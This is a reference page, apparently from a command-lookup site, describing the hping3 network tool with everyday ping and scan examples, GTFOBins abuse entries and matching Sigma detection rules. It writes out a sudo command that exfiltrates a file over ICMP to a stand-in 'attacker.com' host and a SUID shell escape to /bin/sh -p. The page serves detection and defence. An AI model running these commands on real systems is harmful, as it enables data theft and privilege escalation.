Identifier / Programs / Linux and Unix
hping3
Advanced ping utility which supports protocols such TCP, UDP, and raw IP. Best run with elevated privileges. tldr-pages
GTFOBins upload 1 Sigma rule name it 2 documented commands
How hping3 is abused
upload
--icmp--data--sign--fileEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for hping3.
2 documented commands
shell unprivileged, with sudo, as SUID
hping3
/bin/shAs SUID:
hping3
/bin/sh -pTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
upload with sudo
The file is continuously sent as ICMP packets (e.g., of 999 bytes), the optional --end parameter signals when the file reached the end.
hping3 attacker.com --icmp --data 999 --sign xxx --file /path/to/input-fileTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
All 2 commands the identifier reads trip a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for hping3. The identifier reads the line of each that runs hping3.
What detects it
Everyday use
Ping a destination with 4 ICMP ping requests
hping3 --icmp --count 4 ip_or_hostnameIdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
Ping an IP address over UDP on port 80
hping3 --udp --destport 80 --syn ip_or_hostnameIdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
Scan TCP port 80, scanning from the specific local source port 5090
hping3 --verbose --syn --destport 80 --baseport 5090 ip_or_hostnameIdentifyTrips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
Of the 3 examples the identifier reads, 3 match GTFOBins abuse or trip a Sigma process-creation rule.